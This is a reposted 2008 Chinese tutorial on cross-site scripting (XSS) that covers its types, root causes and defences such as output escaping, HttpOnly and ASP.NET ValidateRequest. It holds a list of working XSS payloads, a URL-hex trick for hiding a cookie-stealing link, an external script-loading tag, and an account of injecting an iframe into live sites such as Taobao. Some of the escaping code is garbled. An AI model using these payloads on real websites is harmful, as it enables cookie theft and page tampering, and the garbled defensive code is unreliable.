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攻击方式学习之(1) - 跨站式脚本(Cross-Site Scripting)

来源:转载 作者:佚名 时间:2008-09-08 TAG: 我要投稿
攻击方式学习之(1) - 跨站式脚本(Cross-Site Scripting)  
简介 
XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。 
使用过ASP的同学一定见过这样的代码: 

Hello,   
<% 
Response.Write(Request.Querystring("name")) 
%> 
假如我传入的name的值为: 

<script>x=document.cookie;alert(x);</script> 
这样就可以直接盗取用户的cookie。所以我就可以发送一条链接地址让别人去点: 

http://www.xxx.com/reg.asp?name=<;script>x=document.cookie;alert(x);</script> 
当然这样做没有一点隐蔽性,虽然前面的xxx.com瞒过了少数人,但大多数人可以辨认出后面的javascript代码,所以,我只需要将后面的javascript代码转换成URL的16进制,如: 

http://www.xxx.com/reg.asp?name=%3C%73%63%72%69%70%74%3E%78%3D%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%61%6C%65%72%74%28%78%29%3B%3C%2F%73%63%72%69%70%74%3E 
上面的URL你还认得吗?除非你把它转换出来。(进制转换可以使用Napkin工具,哎,太坏了。。有人问Napkin的下载地址,贴在这里好了http://www.0x90.org/releases/napkin/Napkin-1.0-Windows.zip) 

根本原因 
1. 没有对输入进行约束,没有对输出进行编码 
2. 没有严格区分“数据”和“代码” 

示例 
发现大名鼎鼎的淘宝网也存在这样的漏洞,我们在搜索框中输入: 

"/><div style="position:absolute;left:0px;top:0px;"><iframe src="http://www.baidu.com" FRAMEBORDER=0 width=1000 height=900/></div><a href=" 
这样,我们已经修改了淘宝原有的页面,在下面嵌入了百度的首页。效果如图: 




使用时机 
我尝试在各种不同网站寻找 XSS漏洞, baidu, amazon.cn, youku.com, dangdang.com等等。结果,我发现XSS漏洞非常普遍!其实XSS利用的是网页的回显,即,接收用户的输入,然后再在页面显示用户的输入。总结 一下几个可能会出现漏洞的地方: 

搜索引擎 
留言板 
错误页面 
通过在上面那些类型的页面输入一些特殊的字符(包括< > / "),如:</?jjkk>,然后在结果页中的源码处搜索是否存在原样的:</?jjkk>,如果存在,恭喜你,发现了一个XSS漏洞。 

分类 
1. DOM-based cross-site scripting 
页面本身包含一些DOM对象的操作,如果未对输入的参数进行处理,可能会导致执行恶意脚本。如下面一些DOM操作: 



document.URL 
document.URLUnencoded 
document.location (and many of its properties) 
document.referrer 
window.location (and many of its properties) 

  举个例子,假如某个脆弱的页面的代码如下: 

<HTML> 
    <TITLE>Welcome!</TITLE> 
    Hi 
    <SCRIPT> 
        var pos=document.URL.indexOf("name=")+5; 
        document.write(document.URL.substring(pos,document.URL.length)); 
    </SCRIPT> 
    <BR> 
    Welcome to our system 
    … 
</HTML> 

  攻击者使用如下的URL访问时,则非常危险: 

http://www.vulnerable.site/welcome.html?name=<;script>alert(document.cookie)</script> 

  试了一下,貌似IE、FireFox等浏览器默认对<script>alert(document.cookie)</script>进行了编码,阻止了脚本的执行。但是对于DOM操作还是要更加谨慎啊,比如把上面的页面修改一下,安全性就增强了不少: 

<SCRIPT> 
var pos=document.URL.indexOf("name=")+5; 
var name=document.URL.substring(pos,document.URL.length); 
if (name.match(/^[a-zA-Z0-9]$/)) 

       document.write(name); 

else 

        window.alert("Security error"); 

</SCRIPT> 


2. Reflected cross-site scripting 
        也被称为None-Persistent cross-site scripting,即,非持久化的XSS攻击,是我们通常所说的,也是最常用,使用最广的一种方式。它通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数被HTML解析、执行。它的特点是非持久化,必须用户点击带有特定参数的链接菜能引起。 

3. Persistent cross-site scripting 
        持久化XSS攻击,指的是恶意脚本代码被存储进被攻击的数据库,当其他用户正常浏览网页时,站点从数据库中读取了非法用户存入非法数据,恶意脚本代码被执行。这种攻击类型通常在留言板等地方出现。 


实施方式 
我们来试一把Reflected cross-site scripting。当我们在某网站输入参数XXX,发现参数XXX原样的出现在了页面源码中: 



<input type="text" class="Seach" name="w" value="XXX" /> 

OK,可以开始做文章了,我们将XXX替换为:abc"/><script>alert(’haha’)</script><a href=",返回的HTML代码如下: 



<input type="text" class="Seach" name="w" value="abc"/><script>alert(’haha’)</script><!--" /> 

这样,<script>alert(’haha’)</script>被执行了。这里再举例一些XSS攻击行为: 

<IMG SRC="javascript:alert(’XSS’);"> 
<IMG SRC=javascript:alert(’XSS’)> 
<IMG SRC="javascript:alert(String.fromCharCode(88,83,83))"> 
<IMG SRC="jav ascript:alert(’XSS’);"> 
<SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT> 
<<SCRIPT>alert("XSS");//<</SCRIPT> 
<iframe src=http://example.com/scriptlet.html < 
<INPUT TYPE="IMAGE" SRC="javascript:alert(’XSS’);"> 
<BODY BACKGROUND="javascript:alert(’XSS’)"> 
<BODY ONLOAD=alert(document.cookie)> 
<BODY onload!#$%&()*~+-_.,:;?@[/|"]^`=alert("XSS")> 
<IMG DYNSRC="javascript:alert(’XSS’)"> 
<IMG DYNSRC="javascript:alert(’XSS’)"> 
<BR SIZE="&{alert(’XSS’)}"> 
<IMG SRC=’vbscript:msgbox("XSS")’> 
<TABLE BACKGROUND="javascript:alert(’XSS’)"> 
<DIV STYLE="width: expression(alert(’XSS’));"> 
<DIV STYLE="background-image: url(javascript:alert(’XSS’))"> 
<STYLE TYPE="text/javascript">alert(’XSS’);</STYLE> 
<STYLE type="text/css">BODY{background:url("javascript:alert(’XSS’)")}</STYLE> 
<?=’<SCRIPT>alert("XSS")</SCRIPT>’?> 
<A HREF="javascript:document.location=’http://www.example.com/’">XSS</A> 
<IMG SRC=javascript:alert(’XSS’)> 
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED> 
a="get"; 
b="URL("""; 
c="javascript:"; 
d="alert(’XSS’);"")"; 
eval(a+b+c+d); 
更加详细的列表请参见 5  危害 
盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号 
控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力 
盗窃企业重要的具有商业价值的资料 
非法转账 
强制发送电子邮件 
网站挂马 
控制受害者机器向其它网站发起攻击 

防范 
必须明确:一切输入都是有害的,不要信任一切输入的数据。 
缓和XSS问题的首要法则是确定哪个输入是有效的,并且拒绝所有别的无效输入。 
替换危险字符,如:"&", "<", ">", ""","’", "/", "?",";", ":", "%", "<SPACE>", "=", "+"。各种语言替换的程度不尽相同,但是基本上能抵御住一般的XSS攻击。 

python的cgi.escape函数: 


def escape(s, quote=None): 
    ’’’Replace special characters "&", "<" and ">" to HTML-safe sequences. 
    If the optional flag quote is true, the quotation mark character (") 
    is also translated.’’’ 
    s = s.replace("&", "&") # Must be done first! 
    s = s.replace("<", "<") 
    s = s.replace(">", ">") 
    if quote: 
        s = s.replace(’"’, """) 
return s 
ASP中的Server.HTMLEncode: 

<%= Server.HTMLEncode("The paragraph tag: <P>") %> 
ASP.NET的Server.HtmlEncode及Server.UrlEncode: 

String TestString = "This is a <Test String>."; 
String EncodedString = Server.HtmlEncode(TestString); 
Server.UrlEncode(Request.Url.ToString()); 
PHP的htmlspecialchars方法: 


<?php 
$new = htmlspecialchars("<a href=’test’>Test</a>", ENT_QUOTES); 
echo $new; // <a href=’test’>Test</a> 
?> 
JAVA中的java.net.URLEncode.encode: 

String mytext = java.net.URLEncoder.encode("中国", "utf-8"); 
有些网站使用过滤javascript关键字的办法来防止XSS,其实是很不明智的,因为XSS有时候根本就不需要javascript关键字或者对javascript关键字进行格式变化来躲过过滤。 
为所有的标记属性加上双引号。应该说这也不是万全之策,只是在转义了双引号的前提下的一道安全保障。比如: 
不加双引号时,onclick被执行了: 

<a href=http://www.xxx.com/detail.asp?id=2008 onclick=’javascrpt:alert(’haha’)’> 
加上了双引号,onclick不会被执行: 
<a href="http://www.xxx.com/detail.asp?id=2008 onclick=’javascrpt:alert(’haha’)’"> 
将数据插入到innerText属性中,脚本将不会被执行。如果是innerHTML属性,则必须确保输入是安全的。如ASP.NET中: 
<%@ Page Language="C#" AutoEventWireup="true"%> 
<html> 
<body> 
    <span id="Welcome1" runat="server"> </span> 
    <span id="Welcome2" runat="server"> </span> 
</body> 
</html> 
<script runat="server"> 
private void Page_Load(Object Src, EventArgs e) 

    // Using InnerText renders the content safe–no need to HtmlEncode 
    Welcome1.InnerText = "haha"; 
    // Using InnerHtml requires the use of HtmlEncode to make it safe 
    Welcome2.InnerHtml = "Hello, " + Server.HtmlEncode("haha"); 

</Script> 
使用IE6.0SP1的cookie选项HttpOnly,注意,HttpOnly只能阻止恶意脚本读取cookie,并不能阻止XSS攻击。比如在ASP.NET中: 

HttpCookie cookie = new HttpCookie("Name", "ZhangChangrong"); 
cookie.Path = "/; HttpOnly"; 
Response.Cookies.Add(cookie); 
使用IE的<IFrame>的Security属性,设置为restricted后,frame中的脚本将不能执行(仅限于IE)。如: 

<iframe security="restricted" src="http://www.somesite.com/somepage.htm"></frame> 
ASP.NET中的ValidateRequest配置选项。默认情况下,这个功能是开启的,这个功能将会检查用户是否试图在cookie、查询字符串以及HTML表格中设置HTML或脚本。如果请求包含这种潜在的危险输入,就会抛出一个HttpRequestValidationException异常。我在尝试试探当当网的XSS漏洞时发现这个异常信息,可以说当当网使用了ValidateRequest这个选项,或者从另一方面说,也许是无意中启用了这一选项,同时,将错误信息抛出给用户是非常不安全的。 

给一个页面设置ValidateRequest选项: 

<%@ Page Language="C#" ValidateRequest="false" %> 
在Machine.config中设置全局ValidateRequest选项,注意,如果在Web.config中重新设置,不会覆盖Machine.config中的这一设置: 

<system.web> 
    <pages buffer="true" validateRequest="true" /> 
</system.web> 
让我们来目睹当当网给我们带来的这一盛况: 



在一些必须使用到HTML标签的地方,比如公告栏,可以使用其他格式的标示代替,比如论坛中广泛使用的BBCode,用[i]...["i]来表示斜体。 
然而,对于一些允许用户输入特定HTML的地方,强烈建议使用正则表达式进行匹配。比如: 
if (/^(?:["s"w"?"!","."’""]*|(?:"<"/"?(?:i|b|p|br|em|pre)">))*$/i) 

      #Cool, it’s valid input 


发现问题 
查找所有包含用户输入的入口。 
跟踪流入应用程序的每一个数据。 
确定数据是否与输出有关系。 
如果与输出有关,它是不是原始数据,是不是经过处理的? 


参考资料 
Michael Howard, David LeBlanc. "Writing Secure Code" 

Mike Andrews, James A. Whittaker "How to Break Web Software" 


http://en.wikipedia.org/wiki/Cross-site_scripting 

Klein, Amit (July 4, 2005). "DOM Based Cross Site Scripting or XSS of the Third Kind". Web Application Security Consortium. Retrieved on 2008-05-28. 

http://ha.ckers.org/xss.html  
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